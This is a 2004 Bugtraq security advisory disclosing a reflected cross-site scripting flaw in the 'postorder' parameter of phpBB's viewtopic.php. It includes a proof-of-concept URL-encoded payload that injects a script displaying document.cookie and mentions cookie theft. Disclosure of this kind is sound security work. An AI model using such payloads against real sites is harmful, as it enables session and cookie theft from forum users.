New phpBB ViewTopic.php Cross Site Scripting Vulnerability
From: Cheng Peng Su (apple_soup_at_msn.com)
Date: 02/28/04
- Previous message: Steve Kemp: "Re: [SECURITY] [DSA 451-1] New xboing packages fix buffer overflows"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: 28 Feb 2004 15:09:02 -0000 To: bugtraq@securityfocus.com('binary' encoding is not supported, stored as-is)
################################################
Advisory Name:New phpBB ViewTopic.php Cross Site Scripting Vulnerability
Release Date: Feb 29,2004
Application: phpBB
Platform: PHP
Version Affected: the lastest version
Vendor URL: http://www.phpbb.com/
Discover: Cheng Peng Su(apple_soup_at_msn.com)
################################################
Details:
This vuln is similar to Arab VieruZ's advisory 'XSS bug in phpBB',this time the problem is not in 'highlight' ,but in 'postorder'.we can inject HTML code,such code could be used to steal cookie information.
Proof of Concept:
If there is a topic at
http://site/phpBB/viewtopic.php?t=123456
this page can be also viewed at
http://site/phpBB/viewtopic.php?t=123456&postorder=asc
then this page will contain code like below:
<a class="maintitle" href="viewtopic.php?t=176994&start=0&postdays=0&postorder=asc&highlight=">[Topic Title]</a>.
phpBB doesn't filter out illegal characters from 'postorder',so we can inject HTML code after 'postorder='.
note unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C') == '"><script>alert(document.cookie)</script><'
Contact:
Cheng Peng Su
apple_soup_at_msn.com
Class 1,Senior 2,High school attached to Wuhan University
Wuhan,Hubei,China
- Previous message: Steve Kemp: "Re: [SECURITY] [DSA 451-1] New xboing packages fix buffer overflows"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|